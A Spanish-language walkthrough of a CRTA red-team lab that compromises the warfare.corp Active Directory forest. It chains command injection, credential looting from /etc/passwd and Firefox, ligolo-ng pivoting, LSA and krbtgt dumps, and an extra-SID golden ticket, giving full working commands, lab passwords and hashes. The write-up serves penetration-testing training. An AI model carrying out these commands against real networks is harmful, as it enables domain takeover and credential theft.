CRTA lab Writeup
writeup de CRTA lab
Writeup CRTA Lab — Certified Red Team Analyst
Objetivo: Comprometer el dominio warfare.corp a través de un multi-tier Active Directory attack chain
Índice de la cadena de ataque
- Reconocimiento externo
- Command Injection → Shell inicial
- Enumeración post-explotación → Firefox Bookmarks
- Pivoting a red interna
- Credential Spraying → MGMT
- Dump LSA → corpmngr
- Child DC → krbtgt
- Golden Ticket + Extra-SID → Parent DC
- Flags y resumen
1. Reconocimiento externo
1.1 VPN y scope
Lo primero: conectar al laboratorio vía OpenVPN.
openvpn --config crta_6a5aef3c8aed14e94c88a3c5.ovpn --auth-user-pass vpn-auth
Una vez conectados, nuestra IP es 10.10.200.38/24 y tenemos alcance a los siguientes rangos:
| Red | Rango | Fuera de scope |
|---|---|---|
| VPN | 10.10.200.0/24 |
— |
| Externa | 192.168.80.0/24 |
192.168.80.1 |
| Interna | 192.168.98.0/24 |
192.168.98.1 |
1.2 Escaneo de red externa
El rango externo es donde están los activos expuestos. Un nmap -sn revela hosts vivos.
nmap -sn 192.168.80.0/24
Resultado: Un solo host, 192.168.80.10.
1.3 Escaneo de puertos
nmap -sC -sV 192.168.80.10
| Puerto | Servicio |
|---|---|
| 22/tcp | SSH (OpenSSH) |
| 80/tcp | HTTP (Apache 2.4.41 Ubuntu) |
Solo dos puertos. En un engagement real, un servidor web público con SSH accesible es un vector de entrada prometedor.
1.4 Reconocimiento web
Visitamos http://192.168.80.10/:
- Login page (
id+password) - Enlace a
registration.php(username, mail, password) - Post-login:
dashboard1.php
La presencia de un registro público me dice que probablemente hay funcionalidades post-autenticación que pueden ser vectores de explotación. Creamos una cuenta de prueba.
POST /registration.php
username=testuser&mail=test@test.com&password=testpass123
Iniciamos sesión y accedemos al dashboard. Interceptamos tráfico con Burp Suite para identificar parámetros interesantes.
2. Command Injection → Shell inicial
2.1 Identificación del vector
En el dashboard, hay un campo "Newsletter email". Interceptamos la petición:
POST /dashboard1.php
EMAIL=test@test.com
Los campos de email son vectores clásicos de command injection si el input se pasa a funciones del sistema como mail() o sendmail sin sanitización. Probamos:
EMAIL=test@test.com;whoami
2.2 Confirmación
EMAIL=test@test.com;id
Resultado: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Análisis: El servidor ejecuta comandos concatenados al email. Sin filtro aparente. Esto es una RCE directa como www-data.
2.3 Enumeración del sistema
Con RCE confirmada, enumeramos:
/etc/passwd: encontramos al usuarioprivilegeconAdmin@962incrustado.- La máquina tiene dos interfaces de red:
ens32 (192.168.80.10/24)yens34 (192.168.98.15/24).
Admin@962 parece una contraseña en texto claro dejada como comentario en /etc/passwd. Esto es un hallazgo clásico de mala praxis administrativa. La segunda interfaz sugiere que esta máquina tiene un pie en otra red — clave para movimiento lateral.
3. Enumeración post-explotación → Firefox Bookmarks
3.1 Acceso SSH
ssh privilege@192.168.80.10 (pass: Admin@962)
Confirmamos que privilege tiene acceso sudo. Ahora enumeramos el sistema como usuario local.
Firefox guarda contraseñas y bookmarks en una base de datos SQLite. Si el usuario usó Firefox en esta máquina, puede contener credenciales.
3.2 Extracción de bookmarks
cd ~/.mozilla/firefox/b2rri1qd.default-release/
sqlite3 places.sqlite
.tables
select * from moz_bookmarks;
Resultado:
URL: http://192.168.98.30/admin/index.php?user=john@child.warfare.corp&pass=User1@#$%6
Análisis: Un bookmark con credenciales en la URL. john es usuario del dominio child.warfare.corp, con contraseña User1@#$%6. El target 192.168.98.30 está en la red interna — confirmamos que es una máquina llamada MGMT.
4. Pivoting a red interna
4.1 El problema
La red 192.168.98.0/24 no es directamente accesible desde la VPN. Necesitamos tunelizar tráfico a través de la máquina víctima (192.168.80.10), que tiene acceso a ambas redes.
4.2 Opciones evaluadas
| Método | Problema |
|---|---|
SSH -D 1080 (SOCKS dinámico) |
Rate limiting del SSH (~1 conexión/10s), proxy se cae |
| proxychains + impacket | Inestable, timeouts frecuentes |
| Web shell vía command injection | Funcional pero lento |
Decisión: Usar ligolo-ng, una herramienta moderna de tunneling layer 3 que establece un túnel persistente TUN/TAP sobre TCP/TLS.
4.3 Setup de ligolo-ng
Atacante:
# Descargar binarios
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gz
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz
# Proxy (atacante)
./proxy -selfcert -laddr 0.0.0.0:8080
# Configurar interfaz TUN
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 192.168.98.0/24 dev ligolo
Víctima (192.168.80.10):
scp ligolo-agent privilege@192.168.80.10:/tmp/
ssh privilege@192.168.80.10
/tmp/ligolo-agent -connect 10.10.200.38:8080 -ignore-cert
4.4 Verificación
ping 192.168.98.30 # MGMT - ✅ responde
ping 192.168.98.120 # CDC (child DC) - ✅ responde
ping 192.168.98.2 # DC01 (parent DC) - ✅ responde
Con el túnel TUN activo, es como si estuviéramos conectados directamente a la red interna. Esto elimina la latencia y los cortes del SOCKS proxy.
5. Credential Spraying → MGMT
5.1 Verificación de credenciales
Con john:User1@#$%6 en mano, verificamos acceso a los hosts internos vía SMB.
crackmapexec smb target.txt -u john -p 'User1@#$%6'
Resultado: john es administrador local en MGMT (192.168.98.30).
Un usuario de dominio con privilegios de administrador local en una máquina es un punto de pivote ideal. Podemos dumpear credenciales del LSASS o del registro.
5.2 Acceso a MGMT
impacket-psexec "child.warfare.corp/john:User1@#\$%6@192.168.98.30"
Shell como NT AUTHORITY\SYSTEM en MGMT. Confirmamos compromiso total de la máquina.
6. Dump LSA → corpmngr
6.1 Estrategia
El LSA (Local Security Authority) almacena la secreta política de contraseñas, cuentas de servicio, y credenciales almacenadas en caché. Con privilegios de administrador local + acceso remoto, podemos usar impacket-secretsdump para leer las claves del registro.
6.2 Ejecución
impacket-secretsdump "child.warfare.corp/john:User1@#\$%6@192.168.98.30"
6.3 Resultado clave
[*] _SC_SNMPTRAP
corpmngr@child.warfare.corp:User4&*&*
Análisis: El servicio SNMPTRAP almacena credenciales en texto claro en el registro LSA. Esto nos da la contraseña de corpmngr — User4&*&*.
corpmngr es un nombre que sugiere "Corporate Manager" — un usuario con privilegios en el dominio. Esto es un escalation vector crítico.
7. Child DC → krbtgt
7.1 Verificación de corpmngr
crackmapexec smb target.txt -u corpmngr -p 'User4&*&*'
Resultado: corpmngr es administrador local en CDC (192.168.98.120), el Controlador de Dominio del dominio hijo child.warfare.corp.
Ser admin en un Domain Controller nos permite extraer el hash de krbtgt, la cuenta que gestiona los tickets Kerberos del dominio. Con el hash de krbtgt, podemos forjar tickets a voluntad.
7.2 Extracción de krbtgt
impacket-secretsdump -just-dc-user 'child\krbtgt' \
'child/corpmngr:User4&*&*@cdc.child.warfare.corp'
7.3 Hashes obtenidos
| Hash krbtgt | Valor |
|---|---|
| NTLM | e57dd34c1871b7a23fb17a77dec9b900 |
| AES256 | ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2 |
7.4 Extracción de SIDs
lookupsid.py child/corpmngr:'User4&*&*'@child.warfare.corp
lookupsid.py child/corpmngr:'User4&*&*'@warfare.corp
| Dominio | SID |
|---|---|
| child.warfare.corp | S-1-5-21-3754860944-83624914-1883974761 |
| warfare.corp (parent) | S-1-5-21-3375883379-808943238-3239386119 |
La estructura es un parent-child domain tree. El child domain es child.warfare.corp y el parent es warfare.corp. Para comprometer el parent, necesitamos un Golden Ticket con un extra-SID que incluya el grupo Domain Admins (RID 516) del dominio padre.
8. Golden Ticket + Extra-SID → Parent DC
8.1 Concepto técnico
Un Golden Ticket normal te da acceso al dominio donde se forjó. Pero usando SID History (atributo extra-sid), podemos inyectar el SID de Domain Admins del dominio padre en nuestro ticket, lo que nos hace efectivamente administradores del dominio padre.
8.2 Forjar el Golden Ticket
impacket-ticketer \
-domain child.warfare.corp \
-aesKey ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2 \
-domain-sid S-1-5-21-3754860944-83624914-1883974761 \
-groups 516 \
-user-id 1106 \
-extra-sid S-1-5-21-3375883379-808943238-3239386119-516,S-1-5-9 \
'corpmngr'
Explicación de parámetros:
-domain child.warfare.corp: Dominio donde se forja el ticket-aesKey: Hash AES256 de krbtgt del child (firma el ticket)-domain-sid: SID del child domain-groups 516: Grupo Domain Admins del child-user-id 1106: RID de corpmngr-extra-sid S-1-5-21-...519-516: Clave del ataque — el SID de Domain Admins del dominio padre, másS-1-5-9(Enterprise Domain Controllers)- Resultado:
corpmngr.ccache
8.3 Solicitar ticket de servicio
export KRB5CCNAME=corpmngr.ccache
impacket-getST -spn 'CIFS/dc01.warfare.corp' -k -no-pass \
'child.warfare.corp/corpmngr'
Esto solicita un Service Ticket para el servicio CIFS (SMB) del DC padre, usando el Golden Ticket como pre-autenticación.
8.4 Dump del Administrador del parent domain
export KRB5CCNAME=corpmngr@CIFS_dc01.warfare.corp@WARFARE.CORP.ccache
impacket-secretsdump -k -no-pass 'dc01.warfare.corp' \
-just-dc-user 'warfare\Administrator'
Resultado — Administrador del dominio warfare.corp:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b2ab0552928c8399da5161a9eb7fd283:::
Administrator:aes256-cts-hmac-sha1-96:b8844cc6622c448c9b9f657e7a67ad7f9f26fa2c1c7520b7f1ad28389c6fdb91
8.5 Verificación final
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:b2ab0552928c8399da5161a9eb7fd283 \
'warfare/Administrator@dc01.warfare.corp'
Resultado: Shell como NT AUTHORITY\SYSTEM en dc01.warfare.corp — dominio warfare.corp completamente comprometido.
9. Flags y resumen
Cadena de ataque completa
VPN → Reconocimiento externo → Command Injection → SSH (privilege)
→ Firefox Bookmarks → john:User1@#$%6 → MGMT (psexec)
→ Dump LSA → corpmngr:User4&*&* → CDC (child DC)
→ Dump krbtgt → Forjar Golden Ticket con extra-SID → Parent DC
→ Administrator:warfare.corp
Credenciales obtenidas
| # | Usuario | Contraseña/Hash | Rol comprometido |
|---|---|---|---|
| 1 | privilege |
Admin@962 |
Acceso al host externo Linux |
| 2 | john |
User1@#$%6 |
Admin local en MGMT (child.warfare.corp) |
| 3 | corpmngr |
User4&*&* |
Admin local en CDC (child DC) |
| 4 | Administrator |
b2ab0552928c8399da5161a9eb7fd283 |
Dominio padre warfare.corp |
Lecciones aprendidas
-
La cadena de suministro de credenciales es real: Una contraseña en
/etc/passwdllevó a Firefox bookmarks, que llevó a un dump LSA, que llevó a krbtgt, que llevó al dominio entero. -
Pivoting estable es crítico: SSH dinámico + proxychains funciona, pero ligolo-ng es muy superior en estabilidad y velocidad para tareas que requieren múltiples conexiones (como secretsdump).
-
LSA secrets: Las cuentas de servicio con credenciales almacenadas en el registro LSA son un hallazgo común y extremely valioso. El servicio
SNMPTRAPsuele almacenar credenciales en texto claro. -
Extra-SID golden ticket: La confianza entre dominios parent-child permite escalar del child al parent usando SID History. El grupo
Enterprise AdminsyDomain Adminsdel padre se pueden inyectar en un ticket del child. -
DRSUAPI: Una vez que tienes un ticket Kerberos válido con los SIDs correctos,
secretsdumpvia DRSUAPI puede extraer cualquier hash del NTDS.dit sin necesidad de ejecutar código en el DC.